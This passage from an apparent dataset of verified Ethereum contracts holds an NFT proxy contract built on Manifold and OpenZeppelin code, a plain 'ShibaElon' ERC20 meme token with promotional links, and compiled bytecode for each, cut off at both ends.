fff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561190057600080fd5b61190982611b7d565b90506000546008548201111561191e57600080fd5b61192a600854826109f9565b6008819055507ffaabf704b783af9e21c676de8e3e6e0c9c2260dce2ee299437ec9b70151ddaeb816040518082815260200191505060405180910390a15050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119c757600080fd5b60008114156119d557600080fd5b600b548114156119e457600080fd5b80600b8190555050565b60065481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ad757600080fd5b60003073ffffffffffffffffffffffffffffffffffffffff16311415611afc57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515611b7557600080fd5b565b60075481565b60006012600a0a82029050919050565b600080828410151515611b9c57fe5b828403905080915050929150505600a165627a7a72305820c3338f26c24938878fe806c04d1b186717a47f2aee07c91e6f94a3f92887cd270029
[ 9 ]
0xf3620bf817ee068da4606a0297f961e36e450c30
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Gavin Meeler /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////// // // // // // Gavin Meeler // // // // // //////////////////////// contract GM is ERC721Creator { constructor() ERC721Creator("Gavin Meeler", "GM") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212202875f5be886eb57f715ddceb6937d7a76e1b667b9d1be4c8d8bb7bef448f7d7564736f6c63430008070033
[ 5 ]
0xf3624e3692fdf95ded5a97d6cca9963f05a4181d
pragma solidity >=0.6.0 <0.8.0; /* WEBSITE: https://shibaelon.org/ TELEGRAM: t.me/shibaelon TWITTER: https://twitter.com/shiba_elon UNISWAP: https://app.uniswap.org/#/swap?inputCurrency=0xf3624e3692fdf95ded5a97d6cca9963f05a4181d&outputCurrency=ETH ETHERSCAN: https://etherscan.io/token/0xf3624e3692fdf95ded5a97d6cca9963f05a4181d DEXTOOLS: https://www.dextools.io/app/uniswap/pair-explorer/0xdbb95f254e2fc749b8785f84580d6df59a66ccce */ /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/ShibaElon.sol // contracts/ShibaElon.sol pragma solidity ^0.7.1; contract ShibaElon is ERC20 { constructor() ERC20("ShibaElon", "SELON") public { _mint(msg.sender, 10e32); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025857806370a08231146102bc57806395d89b4114610314578063a457c2d714610397578063a9059cbb146103fb578063dd62ed3e1461045f576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b66104d7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610579565b60405180821515815260200191505060405180910390f35b61019d610597565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105a1565b60405180821515815260200191505060405180910390f35b61023f61067a565b604051808260ff16815260200191505060405180910390f35b6102a46004803603604081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610691565b60405180821515815260200191505060405180910390f35b6102fe600480360360208110156102d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610744565b6040518082815260200191505060405180910390f35b61031c61078c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035c578082015181840152602081019050610341565b50505050905090810190601f1680156103895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103e3600480360360408110156103ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082e565b60405180821515815260200191505060405180910390f35b6104476004803603604081101561041157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108fb565b60405180821515815260200191505060405180910390f35b6104c16004803603604081101561047557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610919565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561056f5780601f106105445761010080835404028352916020019161056f565b820191906000526020600020905b81548152906001019060200180831161055257829003601f168201915b5050505050905090565b600061058d610586610a28565b8484610a30565b6001905092915050565b6000600254905090565b60006105ae848484610c27565b61066f846105ba610a28565b61066a8560405180606001604052806028815260200161101360289139600160008b73fffffffffffffffffffffffffffffffffffffff